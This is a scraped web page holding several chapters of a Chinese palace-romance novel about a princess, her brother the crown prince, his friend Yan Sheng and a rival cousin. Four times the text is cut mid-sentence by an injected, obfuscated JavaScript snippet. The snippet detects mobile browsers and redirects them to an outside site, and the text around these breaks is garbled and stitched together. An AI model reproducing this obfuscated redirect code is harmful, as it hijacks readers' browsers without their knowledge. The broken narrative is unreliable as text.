甫一进帐,方才那副天下第一的模样消失不见,这才多了些十七岁少女的活泼。 “灵犀姑姑,快快快,给我水!” 赵皇后一脸无奈地看着女儿,掏出丝帕替她擦了擦汗。 虽然拗不过,但还是要说教几句。 “你啊你,风寒才刚好,就这般放肆,若是再染了病,看你父皇不得拘你个十天半个月。” 还不等沈悠然撒娇卖好,帐内突然多出了一个声音。 “帝姬最近可是出尽了风头,先是青天白日跳河戏水,又是马场上纵马横行。” “幸好今日帝姬作的是男子打扮,不然怕是被人知道了,得说我们大盛皇家没有教养呢。” 沈悠然闻言,直接转过身子去翻了个白眼。 “哪里来的声音?” “兴许在外头晒得发昏,怎的在母后帐中听见了‘汪汪汪’的叫声。” 对面的粉衫女子顿了半晌,而后气得“噌”的一声站直了身子,用食指指着她。 “你骂我是狗!” 沈悠然吐着舌头做鬼脸。 “我可没说,是你自己要这么想的。” 粉衫女子跺跺脚,走向首座的赵皇后。 “皇伯母,顺宁不过是为皇室颜面着想,谁料昭懿不但不领情,还出言侮辱!” “顺宁无能,身为堂姐却不能好好管教约束堂妹,请皇伯母责罚!” 又来了,又是这般看似将罪责揽在自己身上,实则上眼药的说辞,沈悠然已经听腻了。 她张嘴想要反驳,却被赵皇后一个眼神制止了。 先帝仅存于世的子嗣早已去驻守封地,留在宣阳城内的便只剩下盛兴帝和靖王。 早在沈悠然出生之前,沈沁作为太后亲子靖王的独女,是同辈里唯一的女孩儿。 沈沁生母体弱,生产时血崩而亡,自那之后靖王也未再娶。 庄太后怜惜沈沁年幼丧母,加之靖王这个闲散王爷最是喜欢游山玩水,平日里也照顾不上,便时常将她接到宫中抚养。 除了在庄太后居住的慈宁宫旁特意辟了个听竹轩供她随时进宫居住外,吃穿用度也都是按照帝姬的标准。 先皇在位的时候,三品后妃也不见得能居一宫主位,更遑论是这种紧邻慈宁宫的宫殿。 宫中上下,没有哪个不长眼的敢怠慢这位顺宁郡主。 后来正经的帝姬出生,宫中有人踩高捧低,被庄太后直接杖毙之后,更不敢轻易招惹这位太后的心头肉了。 其实作为皇伯父和皇伯母,盛兴帝和赵皇后对沈沁从未有过苛待之心,甚至还特意叮嘱过自己的儿女素日里多多照顾这个堂姐。 沈悠然出生之后,因着同是女儿家,给沈悠然备下的东西,赵皇后也会特意嘱咐给沈沁也备上一份。 按理二人既有这层亲缘关系在,年龄差得也不大,合该聊得来。 但沈沁就是和沈悠然互相看不顺眼,见了面总会因为一些莫名其妙的原因吵上几句嘴。 当然,多是沈沁出言挑衅,然后被沈悠然气得回不了嘴,像今日这般委屈地找长辈。 赵皇后也是无奈,若真是让这两人争论下去,怕是今天又要头疼了。 “顺宁啊,怎的一个人,不是去寻江家小姐了?” 江家小姐乃东安伯的长女,是沈沁的至交好友。 马球会开始之前,赵皇后特意派人去问过沈沁的那边,问她是否需要一个单独的帷帐,但被她拒绝了,说是要与好友凑在一块儿热闹热闹。 难不成是在马场上看见了沈悠然,特意来挑衅的? 思及此,赵皇后心中隐隐有些不快。 她不是个古板守旧的人,不会觉得自己女儿跟一群男人打马球有什么不对,只会因为沈悠然赢得了比赛而为她高兴。 如果顺宁真是特意来找茬的,那即便盛兴帝因为靖王的缘故对顺宁多加纵容,她这个外姓的皇后,可不会为了沈家人委屈了自己的女儿。 不过出乎所有人意料的是,刚刚还为了皇室颜面一副大义凛然模样的沈沁听到赵皇后的问询后,突然抿唇,动作有些扭捏。 “皇伯母,顺宁、顺宁想着还未向皇伯母请安,自知失礼,特来请罪。” 赵皇后有些诧异,虽然顺宁并不是个不懂规矩的孩子,但也不见得处处都将礼制放在第一位,像这种特意为了忘记请安一事来请罪,更是并无先例。 但小辈们有这个心,总归是好的。 “顺宁有心了,今日是这马球会旨在玩得尽兴,倒是不用拘泥于那些虚礼,你……” 话音未落,外头又响起了沈煦的声音。 沈悠然饶有兴致地盯着沈沁一脸欣喜地看向门口,眼珠子提溜转着,心里隐隐有了一些奇怪。 比起自己这个亲妹妹,怎么沈沁更高兴看到沈煦? “太子哥哥!”沈沁语气忽的提高,难掩兴奋,“你怎的来了?” 虽然嘴上叫的是沈煦的名字,但目光却是在往沈煦身后看,似乎是在等着另外的人。 沈悠然恍悟——沈沁肯定是因为知道之前沈煦来过,特意过来的。 但肯定不是为了沈煦。 难道沈沁喜欢严晟? 一想到这里,她原本对严晟抱有的七分欣赏,瞬间掺了些别的东西。 怎么跟沈沁那个脑子缺根筋的人 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16689084|188867||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 目光一致啊,晦气。 没人注意到沈悠然向下耷拉的嘴角,只有沈煦双颊上飘着红,也不知是不是刚从马背上下来热的。 “我、我……” 往日里对上大儒也能侃侃而谈的沈煦,还能为了什么而变成如此模样? “朝暮啊,”赵皇后突然出声,“今日本宫惫懒,拘着你帮本宫上下打点,你还未曾同你母亲和你家中妹妹坐下喝两杯茶吧?” “本宫也许久未曾同蔺夫人叙旧了,不若你去将她请来吧?”她睨了一眼自己儿子那蠢蠢欲动的模样,“不急着回来,若是遇见相识的小姐妹,停下来攀谈两句也是好的。” “对了,太子过来所为何事?” 何事?还能有何事? 沈煦摩挲着掌心的穗子,拱手行了个礼。 “母后,儿臣随后会跟几位书院同好小聚,我已经嘱咐过侍卫好好护送母后和昭懿回宫,稍后儿臣就不与母后同行了,特来知会。” 看见蔺朝暮奉命出了帷帐,他似乎也有些心急。 “这边女眷多,儿臣不好过多打扰,这便离去了。” 实在是忍不住在心里冲着这个儿子摇了摇头,赵皇后也没当那个恶人,摆了摆手让他退下。 “行了,皇伯母这边也无趣,顺宁你也去寻好友玩吧,稍晚些随宫中的座驾一道回去,”她看向自己的女儿,自己也未曾注意到眼神放软了些许,“至于昭懿,灵犀你先带她下去休整一番,莫要让她再沾了热气旧病复发。” “也不知你这好动的性子,到底是随了谁。”她无奈但宠溺地笑了笑。 沈沁原是有些失望没能同严晟说上话的,此时听着赵皇后对沈悠然的关切之言,看着她的目光里带着艳羡。 “那顺宁也退下了。”她厌厌道。 马球虽是比完了,但在场却并未有人着急离去。 今日日头好,各家或者旧友闲叙,或是趁机结交世家奉承,又或是少年儿郎想要在闺阁姑娘们面前展现一番,牵着马进了马场私下约了比试。 沈悠然也想去马场上溜两圈,但此时却被拘着待在赵皇后身边,同各家夫人小姐闲谈。 在她不知道几次因为听见对方连“贤良淑德”这种胡诌的话都能夸得出来而冷笑的时候,蔺朝暮终于垂着头回来了。 身后还跟着蔺家夫人、和蔺朝暮的妹妹。 沈悠然第一眼就落在了蔺朝暮腰间系着的绕金祥云蚕丝穗上。 顾忌着帐子里还有外人在场,沈悠然只是凑近了小声调侃,“哟哟哟,嫂嫂哪来的穗子啊,真好看。” 蔺朝暮脸上红云突现,抿着唇不理她,宛若一尊石佛。 也让沈悠然愈发得寸进尺。 “哎呀,我想起了,这不是我刚刚在场上累死累活才赢的呀?” “哥哥也真是的,我说刚刚过来干嘛呢,原来是……” 蔺朝暮羞极,恨不得直接伸手捂住她的嘴。 但又不敢动作太大,只得悄悄伸手去捏她的掌心。 “你、你别瞎说,不过是太子殿下觉得这穗子更适合女子佩戴、所以才、才……” “那哥哥怎么不送给我啊?”沈悠然明知故问。 蔺朝暮抖着唇找借口,“那不是想着你、你自己也有吗?” 沈悠然笑而不语。 二人在角落里悄悄打闹着,一个羞一个笑,竟是没注意到已经离去的沈沁再度折返回来向找皇后引荐江家夫人。 而她的腰间,也挂着一个蚕丝穗。 5. 第 5 章 翌日一早,沈煦和严晟就入了宫。 按照祖制,公主在宫中有自己独居的宫殿,待到成婚之后,会同驸马一道迁至宫外的公主府。 至于这公主府是在宣阳城内或是其他封地,全看公主是否受宠。 盛兴帝和赵皇后膝下只这么一个女儿,平日里娇养着,恨不得日日都见,索性给她辟了皇后所居栖梧宫旁的颐华宫作为居所,这样一日三餐来往栖梧宫用膳也不麻烦。 听见灵犀的通传后,沈悠然提箸,将红木桌最中间的那盘软酪快速瓜分。 “母后两个、灵犀姑姑两个、我两个……剩下一个给哥哥。”沈悠然小声嘟囔着,“哥哥莫不是听说我和母后今个儿吃软酪,特意来的?” 话音刚落,余光就瞥见了逆着晨光踏入殿中的沈煦。 还有跟在他身后的严晟。 严晟今日穿了一身玄色长衫,腰间系着墨色的腰带,全身上下只有用来簪发的玉簪子是另一抹颜色。 比起昨日马场一见,看起来更加的成熟稳重,神情也更为凝重。 她忙不迭地放下手中的玉箸,收敛那副在赵皇后膝下卖乖的小女儿模样,挺直了脊背端起帝姬的派头来。 殊不知,严晟也在趁机暗地里打量沈悠然。 盛兴帝和赵皇后一向奉行穷养儿子富养女的原则,关于沈煦和沈悠然的抚养方面,有着截然不同的态度。 当然,作为皇子,沈煦肯定是和“穷”字沾不上边的。 但是对比起沈悠然来说,还是能看出明显的差距。 因着今日是在宫中,沈悠然只作帝姬的常服打扮。 一袭月白色对襟长衫看似平平无奇,但因着开了窗,晨光微漾之间能够明显看得见上面用金丝绣着云纹,和内衬的浅金色百褶裙相得益彰,腰间用珠链充作腰带,勾勒出盈盈一握的腰身。 严晟错开目光,慌乱中落在了她搭在桌沿的手背上,好似莹莹之中泛着如白瓷般的光泽。 一时之间竟觉得若要论哪个更为夺目,定然是那珠链比之不及。 他不禁垂眸,为自己这般肆意的打量感到惭愧,最后的视线落在了沈悠然微翘的脚尖上。 看见了那颗比指节还大的东珠。 沈煦故作哀怨地盯着沈悠然,“皎皎这样,那可真是伤了哥哥的心。” “哥哥你才是真伤皎皎的心,我不过是念在你大婚在即,想着乳酪用多了易发胖,为了让你能以最好的状态去迎接嫂嫂,才忍痛让自己承担着发胖的后果,没想到在哥哥嘴里,倒是成了我贪嘴了。” 沈悠然现在算是彻底拿捏住了沈煦,但凡兄妹二人斗嘴,总是会想着法子地同蔺朝暮扯上关系,然后沈煦就会胀红了一张脸支支吾吾说不出话来。 和蔺朝暮一模一样。 “你惯会胡说。”他羞极便恼,“哥哥不和你胡扯,今日来可是为了正事。” 他话音一转,神情也不似方才那般带着笑,正式得就连沈悠然也歇了和他打闹的心思。 “母后,儿臣和阿晟,已经将马场采买中饱私囊一事,盘查清楚了。” 一旁的严晟立即上前,递上折子。 沈悠然自诩当时在场,怎么也算是个当事人,提着裙摆凑到赵皇后身后一探究竟。 原来那马场采买叫做柳三,就是内侍省里一个小典侍,手中既没有实权,又和达官贵人没什么牵扯,并没有什么背景。 这不是他第一次借着采买的便利中饱私囊了,不过从前,他倒也不似这般胆大妄为,只是暗地里减少采买的量,但实际报上去的数目不变,一次也就几斤的差量,在上头眼里着实不起眼。 再则,也就是暗地里同外头的糕点铺子打好关系,收点掌柜孝敬的银钱,承诺往后都在他家采买。 这般欺上瞒下的,他一个月也能得个几两银子的油水钱。 直到半年前,马场的管事换了人。 这新管事上任三把火,说要整顿马场的规矩,第一件事彻查马场上下的各类账目,还立了规矩凡涉及银钱的事,都要经由管事过目。 柳三这下慌了神,暗地里给新管事送了不少银子,这才将这事瞒了下来。 但这么一来,不但他贪墨的银钱没了,就连从前的积蓄也送出去不少。 本来事情到这里柳三也认了栽,但很快他就发现这位新管事也不似想象中的那般清廉。 所谓的“整顿”,不过是他在摸索哪里才是更容易下手捞油水的地方。 恰巧此时,柳三家中老娘生了场病,在捉襟见肘的困窘和对新管事的怨愤之下,柳三重操旧业,未曾想就这般东窗事发。 看完了事情的来龙去脉,赵皇后合上折子,神情不虞。 “这柳三所说可真?莫不是因为自个儿犯了事,就胡乱攀咬。” 严晟恭敬道,“娘娘请看折子的背后,那是马场近半年来的账目。” “据柳三所说,从前马场里暗地里敛财之事并不少见,不过多是些小打小闹,贪墨点零用,不成气候。若那管事是真心想清算马场账目,那他任职之后马场的开销理应减少。但光是从账目上看,非但不见好,反而逐月增长,在腊月正月二月,比之从前更是翻倍有余。” 为何是腊月和正月? 腊月正月是年关前后,各家都顾着团聚,又不似春日那般适合出游,马场一向是不用待客,只顾着自个儿闭门过活的。 倒是寻常家里年关前后送礼走亲戚花得多,若是真要从中捞油水,这两个月真真是最有需求的时候。 盯着赵皇后愈发紧蹙的眉头,沈煦又加了把火。 “那采买的身份,我和阿晟也调查过了。” “采买姓段,和去年安信侯纳的妾室,同姓。” 而安信侯,姓庄。 早在见到太子是为昨日马场之事而来的时候,灵犀就已经屏退了原先殿中伺候的宫女。 原本就安静的栖梧宫偏殿,更是因为沈煦的这番话陷入了静谧。 赵皇后扶额,只觉头疼。 世人皆知,盛兴帝并非太后所出。 庄太后在嫡出的皇子意外坠池溺毙后迟迟未能有孕,便收养了彼时唯一一位生母难产而亡的四皇子,也就是如今的盛兴帝。 即便她后来又生下了如今被封为靖王的十四皇子,在先帝薨逝之后,也依旧力排众议推举无论是年龄或是品行更为合适的盛兴帝即位。 盛兴帝感念养育之恩,即位后对这位嫡母多加尊重,连带着对庄太后娘家子侄安信侯,也处处照拂。 若真是安信侯妾室的弟兄从中中饱私囊,此事恐怕只会不了了之。 这 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16689085|188867||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 各种缘由,沈煦自然也是明了,不然大可直接捉了那马场管事,又何必跑一趟栖梧宫。 但沈悠然不一样,她是个认理的,凡事喜欢讲对错。 “不过是个妾室的弟兄,大可直接将那管事捉了严加拷打,定能问出前因后果。” “若是他一人之错,那便按律例惩处;若是和安信侯的妾室有关,那便让人向安信侯禀明,任由安信侯处置!” “若是……”她顿了顿,没有再继续说下去。 想来安信侯堂堂一个侯爷,没道理去贪墨一个马场的银钱,这点沈悠然还是对这个“便宜表叔”有信心的。 沉默了好半晌的严晟也突然出声。 “臣认为,昭懿帝姬的话虽有些直接,但并无道理。” “若真是和安信侯府有牵扯,经此一事后,反倒对安信侯的名声有利,外人只会道一声安信侯大义灭亲;若是一人所为,也算是为安信侯拔出了一个后患,避免此人日后犯下大祸牵扯到安信侯府。” 但理是这么个理,可若真是要查下去,必然要请安信侯的那位林姓妾室来对质。 若是安信侯夫人倒还好办,大可直接一封请柬以请她来宫中叙旧为由悄悄打量将人寻来,可堂堂皇后,若是接见一位妾室,说出去反倒让安信侯夫人脸上无光。 事情一旦闹出去,即便那妾室有没有参与其中,终归是会落了安信侯府的颜面。 可事情交由旁人,又不放心。 赵皇后思量再三后,揉了揉额间穴,“此时本宫已知晓,你们不用再管了。” 沈煦见状,无奈地和严晟相视一望,按住了好友的手。 “是,儿臣知晓。” “严晟……知晓。” 沈悠然看了眼哥哥,抿了抿唇没再说话。 正事已经解决,那剩下的就是私事了。 “可曾用过早膳?”赵皇后满眼怜爱地看向沈煦,“可要陪母后再吃点?” 沈煦也确实许久未曾与母后和妹妹一起用过早膳了,再加上他现在也因马场采买一事导致心情不太顺畅,也想要用坐下来体会一下家中的温暖。 赵皇后见他点头,也是十分欣喜。 她招呼着灵犀让小厨房再做几道太子爱吃的菜来,也给严晟安排了座位。 此刻,就像是个寻常母亲一般,在招呼着儿子的好友。 沈悠然歪着头,时不时打量着严晟,突然想起一个问题。 “严……” 她想了一会儿,觉得怎么称呼严晟都有些奇怪。 严晟日前刚通过春闱,等通过了四月的殿试,才能入朝为官,自然是没有官职在身,也无法以官职相称。 严家祖上是寒门出身,也没有爵位可以继承。 沈悠然歪着脑,想了个不算失礼的称呼。 “严公子,不知你的祥云穗在何处?本帝姬瞧你今日的装束,想来若是配上点金色作为装饰,定是极搭的。” 她语气平常,似乎是真的在于他讨论如何搭配。 严晟脑子里一下就蹦出了沈悠然将穗子扔给东安伯次子的画面,以及她随着晃动而张扬的马尾。 “回昭懿帝姬,臣将其送人了。”他不咸不淡地回应着。 沈悠然一声冷哼。 当她不知道是送给沈沁了呢。 6. 第 6 章 三日后是顺宁郡主的生辰。 她原本就是个喜欢大张旗鼓爱热闹的性子,再加上庄太后的纵容,总喜欢将这个亲孙女推到人前亮亮眼,是以她年年的生日宴都要办得堪比年末的宫宴一般。 前些日子靖王又去了南边游行,早已来过信说来不及打道回府,就让人送了一套南边的瓷器回来,上面绘满了当地的风俗乐趣。 礼不贵重,就胜在少见,是宣阳城里寻不到的稀奇物件。 沈沁虽然有些失落,但父亲也不是第一次缺席了,倒也不见得有多难过。 虽然姐妹二人不合,但毕竟也算是堂姐妹,再怎么不情愿,沈悠然也被赵皇后从床上提溜起来,坐了小半个时辰的马车,才到靖王府门口。 下马车的时候,恰好遇见了从书院下学骑马而来的沈煦三人。 “哥哥!” 沈悠然心中一喜,一手捏着裙摆,一手挥舞着同沈煦打招呼,语气带着亲昵。 然而看到他身后的沈照时,这种亲昵收敛了许多,下意识地收回了手,语气也不似方才轻快,中规中矩地向沈照请安。 “二皇兄安好。” 一个唤作哥哥,一个叫的是皇兄。 沈照无所谓地拉着缰绳让马停下,微微颔首,既不亲密,也不疏离。 他就是来走个形式的,送个礼就走,权当是为了皇祖母的面子。 沈悠然被贴身侍女青黛扶着下了马车之后,侧过身子向沈煦身后张望。 正巧和翻身下马的严晟目光撞上。 不似沈煦那般温润,他神情肃然,看不出喜怒,一双薄唇轻抿着,让人看了只会去揣测这人是否薄情,但又一次次被他那剑眉星目所吸引。 不得不承认的是,他确实生得一副好皮囊。 好到即便沈悠然已经在心底告诫过自己可不能跟沈沁同一种眼光,但每次依旧会下意识地寻他。 她恍若无事地将目光一开,佯装很忙地低声吩咐青黛别忘了带上给顺宁郡主的生辰贺礼。 青黛迟疑地点了点头,心中满是疑惑。 这贺礼不是前些日子帝姬私库堆不下了随便整理出来的吗?怎的还要特意嘱咐一番,倒显得异常珍贵似的。 青黛不理解,但她立马换上一副凝重的神情,提着贺礼的手指也捏紧了。 靖王府邸是整个宣阳城内除了皇宫之外最大的宅院。 宣阳城中偶尔会有空闲出来的大宅院,要么是重臣获罪之后被没收得来,要么是家宅人丁凋敝后继无人后闲置下来的,通常皇家有什么赏赐,都是让户部将名单报上去,然后再选一处合适的。 但庄太后嫌这两种宅子寓意不好,又不愿在偏僻的城郊给亲儿子再另起一座宅子。 当初为靖王府选址的时候,庄太后让娘家安信侯府出面,用万两银子并一座地段极好的大宅子,同靖王府当时的主人家置换得来,然后再寻了个由头将此地空闲,这才顺理成章地归在靖王名下。 虽然不是第一次来靖王府了,但沈悠然每每看见靖王府处处雕栏画栋美轮美奂的样子,还是会感叹一声十四皇叔是真得皇祖母的宠爱。 比自己父皇受宠多了。 九进的宅子里,共三路,取的是道家“一生二,二生三,三生万物”之意。 十为满,唯恐物极必反,而九则是刚刚好,暗喻更进一步。 宅中更是有一片种满了莲花的湖当做隔断,将整个宅子分为前院和后院两部分。 大就不说,整个靖王府的装潢比宫中简直是有过之而无不及,随处可见的金雕玉饰。 整个宣阳城里,也就靖王府敢这般钱财外露而又不担心被弹劾。 因着是女眷生辰,男客请得不多,多是些和皇家沾亲带故的人家,又或者是沈沁哪个小姐妹家中的弟兄,趁机来为自己的婚事或仕途谋划。 男客中真正由沈沁自己邀请的,便只有她两个堂兄,还有堂兄的挚友。 两位堂兄是皇子,亲临她的生辰宴,自然是能让她在一众小姐妹面前得脸的。 至于最后一位…… 沈沁迈着小碎步,示意身边的侍女接过严晟递来的贺礼,捏着嗓子同他道谢。 “谢谢严公子的贺礼。寒舍简陋,严公子拨冗亲至,真是令寒舍蓬荜生辉。” 沈悠然在旁边听倒她这番矫揉造作的样子,直翻白眼。 先不论她这“寒舍”到底寒在哪里,光是她当着太子的面如此恭维另一个男子,简直是未将皇家放在眼中。 得亏自家哥哥是个心好的,若是换了个心思狭隘的,指不定现在就要降罪于她。 沈悠然默默挪开了步子,像是怕离得太近了,沾染上沈沁的蠢气。 沈煦在旁边看见她的小动作,无奈笑笑,然后摇了摇头,让她莫要在外面和沈沁吵嘴,惹得旁人看笑话。 自然是换来沈悠然的撇嘴不满,但也只是表面不满,实际上乖乖听话。 严晟的目光落在沈煦轻抚沈悠然头顶的手上,嘴上依旧不带半点情绪。 “在下一介白身,还请郡主切莫这般隆重。” 话里话外,尽是疏远。 沈沁脸色蓦地胀红。 沈悠然在旁边看着,一时没忍住,噗嗤笑出了声。 她示意青黛上前送上自己的贺礼。 “生辰喜乐。” 她刻意加重了“乐”字,再配上她憋笑的表情,顺利地让沈沁的脸色由红转青。 看到不喜欢的人吃瘪,对于沈悠然来说,简直是最快乐的事了。 连带着本来就顺眼的严晟,看起来更顺眼了。 沈沁年纪不大,正是爱闹的年纪,因着没有长辈在,倒也没有恪守那些虚礼的打算。 生辰这种开心的日子,可是要玩得尽兴才好。 以莲湖为界,沈沁在前院备上了投壶射箭的把戏,在内院设的是品茶听曲的雅趣。 至于中间的莲湖也没闲着,湖中设了几个台子,上面摆着字谜的谜面,让来者既可游湖,又能得了猜谜的趣。 这套把戏沈悠然是熟得不得了,毕竟当年她的及笄礼就是这么办,沈沁不过是依葫芦画瓢罢了。 年年都来这么一遭,再是新奇,也该玩腻了。 蔺朝暮因为大婚在即,这段时间不便在外头抛头露面,便只让人给沈沁送了个礼,自己并未到场。 其余的人又都是沈沁的朋友,和她关系浅浅。 沈悠然没了闲谈的对象,又不想去戏台子那边听那些人对沈沁的吹捧吵闹,便在莲湖边寻了个亭子坐下小憩,只等开席走个场面就回宫。 四月日头渐晒,沈悠然躲在亭子的阴凉处,莲湖边的风吹着,带着阵阵的凉爽,让人忍不住想要眯着眼去感受。 有青黛在旁边候着,沈悠然也不担心,只管自个儿享受,不知不觉之间,沈悠然就睡着了。 迷迷糊糊之间,还做了一个梦。 梦中倒是和今日相似的场景,只不过她不再是自己孤身一人乘马车而来,是和蔺朝暮一起。 此时的蔺朝暮已然一副已婚女子打扮,坐在沈悠然身侧,苦口婆心地劝导她。 “今日可莫要再和顺宁置气了,往日 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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身为皇家子弟,自当是要文武双全才是。沈煦六岁的时候,盛兴帝就请了武学大家来教他拳脚功夫,即便不是为了让他走武路子,哪怕是为了强身健体,那也是好的。 作为太子伴读的严晟,自然也是跟着大家学了不少本事。 宣阳城里也不全是文弱书生,像谢为安一流的,多是家中世代习武的武将,儿孙们哪怕是再窝囊,绣花功夫也是有一些的。 沈悠然从前也跟盛兴帝一道,见识过演武,幼时不懂事的时候也曾嚷着要去跟着哥哥学。 但回味起来,彼时那偌大的演武场上,没有哪一个能像现在这般吸引她的注意。 那人好似只是站在船边,就能轻易让人想起崖边的松柏。 坚韧、挺拔,傲气。 算不得身形健壮,但却不会让人觉得瘦弱无力,有种清高的风骨。 亭子是建在湖边的,为了不让水中蚊虫沾染,刻意修得比池边高出两三尺,也就造成了二人之间高度的差异。 严晟微微一抬头,沈悠然也恰好靠在围栏边俯身那么一望。 也不知道是不是怪梦作祟,她只觉,好似能在他那双如星辰般的眸子里,看见自己的身影。 咚。 咚。 咚。 沈悠然听见了自己的心跳。 赐婚吗? 她只觉得心尖在震颤,似乎觉得,那好像也不是什么坏事。 7. 第 7 章 沈煦和严晟此时正在同一条船上。 但凡是赴宴,沈煦都不大爱去凑热闹。 原因无他,忌惮他太子身份的人总比真正想要同他比文试武的多,无论他去玩什么,总有人让着他。 年少时或许看不懂,但懂事之后,这样的次数多了,那些活动他也不爱去了。 既惹得自己不愉快,又扫了旁人的兴。 而严晟,则纯粹是因为不喜吵闹。 二人本是和沈悠然一样来走个过场,只在前院随意寻了个地方坐下。 但沈煦架不住沈沁的苦苦哀求。 莲湖猜谜的彩头是盏花灯。 既是沈沁自己准备的,她自然是不会对彩头有什么兴趣的。 但她不想冷场,亦是喜欢这种太子堂兄和青睐之人皆为她□□的感觉。 游湖猜谜是个文武双项的考验,既要会划船跃至高台之上取得谜面,又要会解谜。 是以既有二人搭伙一条船的,也有自信二者皆优一人挑大梁的。 无论是沈煦,还是严晟,一人足以应对。 但沈煦不愿去出这种风头,下场之前随口问了一句严晟可要同去。 当然,他并未对严晟抱任何期望。 只是出乎沈煦意料的是,严晟点了点头。 为了错开目光,严晟低头看了眼取来的字谜,写的尽是风花雪月,好不缠绵。 他不大感兴趣,随手放在桌上。 见他这副无事人的样子,沈煦忍不住了。 “你是坐久了觉得憋屈?就这么个一尺来高的台子,还要你这般……” 他顿了顿,脑子里突然蹦出一个词来——孔雀开屏。 而也正是这么一个词,让他脑中灵光一现,下意识地就转过头,扫了一眼岸边的女眷们。 湖中莲花还并未盛放,莲叶三三两两地遮挡着,并不能完全掩盖住他的动作。 在看见女眷们拽着手帕倏地端直了身子神情激动的样子,沈煦怕引来误会,当即又转了回来,和冷着个脸的严晟面面相觑。 但又架不住心里好奇,忍不住地分析。 “往日阿晟不会这么招摇的,想必定是为了做给谁看。” “你我赴的宴虽少,但从前都未见过你这般出风头,想来这人,定是你往日不常见,而今日又恰好在场的人!” 沈煦率先想到的是近两年因调职而定居宣阳的官员,但苦于并不认识他们的家眷,并未能猜到好友到底是为了谁才会这样。 严晟垂着头摆弄着手中的船桨,语气没有丝毫的波动。 “殿下大婚之后就要开始参与朝政之事。靖王虽不在官场,但因其喜好游乐,同各地官员皆有交情,若是有靖王的助力,殿下便能省下诸多麻烦事。” 他明面上说出来的话,沈煦猜也能猜到。 便是顺宁作为靖王唯一子嗣,他今日这般,是为了替太子日后铺路。 他说得有理有据。 但并不能让沈煦信服。 “若靖王不是我的亲叔叔,你这番话,我倒是信了。” “皇叔虽时常在外,但对我和昭懿向来宠爱,倒也不必刻意去讨好,自然是会帮着我的。” 严晟抿唇,不置可否。 严家人丁稀少,他并不是特别能理解这种因亲缘带来的莫名信任。 但也无法去恶意揣测别人家。 “未雨绸缪罢了。”他言语含糊。 沈煦笑而不语。 他越是这般遮遮掩掩,也就越是古怪。 为了拉拢靖王不假,那肯定也不全是。 如果这都看不明白,那他们这十来年的朋友,也算是白做了。 这孔雀,一定是为了某个人才开的屏。 只是这个人,他现在还没发现而已。 沈煦心想,看来,得让母后或是妹妹去打听打听,今日来赴宴的宾客里,有哪家是近两年才迁至宣阳的。 船上二人各怀心事,任由小船在湖中打着转。 沈悠然仗着身居高处,肆无忌惮地靠在栏杆上向下望。 望那一叶小舟顺着莲叶间的间隙,飘飘荡荡。 方才匆匆的一瞥让沈悠然有些心虚,幸而对方很快就侧过脸去,二人不约而同地将那一眼视做寻常。 他今日穿的是一身墨绿色的长袍,上面用黑色丝线绣出竹影,更是称得他风度翩翩。 沈悠然想起父皇书桌上的那端上好砚台,上面也是镌刻着道道青竹。 严晟好像总是喜欢穿这种色彩深沉的衣衫。 她太过沉浸,以至于突然有人叫她的时候,被惊得身子一震。 她不免有些心虚,为自己这般窥伺他人而心虚。 “昭懿帝姬安。” 那语气不太熟悉,带着显而易见的小心翼翼。 沈悠然回过头,发现站在眼前的是个女子,容貌有些憔悴,但双目有神,盯着沈悠然一脸的感激。 她警惕地打量着,在看见女子微微鼓起的小腹时,隐约有点印象了。 青黛伸出双臂挡在沈悠然面前,“你是何人!胆敢扰了帝姬清休!” 女子有些惶恐,捂着肚子小心地往后退。 沈悠然怕她摔了,起身拉着她的手腕,示意她不用如此惊慌。 “是……是你啊。”沈悠然莞然一笑,“你今日也来了。” 像是猜到了沈悠然的停顿是为何意,女子贴心地解释。 “妾身是忠义伯次女,姓林,单名一个宛字。” “日前匆匆一遇,还未来得及告知身份,实属妾身罪过。” “今日也是听闻帝姬在此,特来感谢帝姬救命之恩,未曾有过打扰帝姬的念头!还望帝姬宽宥!” 沈悠然拍了拍青黛,示意她不用如此惊慌。 青黛这才抱臂站在沈悠然身侧,但目光仍是警惕地盯着林宛。 “林娘子不必如此挂怀。”她指着对面的石凳,示意林宛坐下,“先歇歇,可别累着了。” 瞧见沈悠然盯着她的肚子有些紧张,林宛反倒没有那般小心翼翼了。 “不妨事的,月份小也累不着人,不过是站了一会儿,大夫也说过时常走动有利于孩子健康。” 沈悠然身边并没有在孕中的亲朋好友,骤然见到个孕妇,只觉得处处提心吊胆的。 她听宫中嬷嬷说过,女子生儿育女如同鬼门关走一遭,自然是有些害怕的。 “听闻帝姬前些日子病了,可是因为受了风寒?”林宛攥着手帕,似是极为担忧,“妾身外祖家中习医,有祛湿除寒的方子,妾身这就让人请宫中御医细看此方是否适 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return 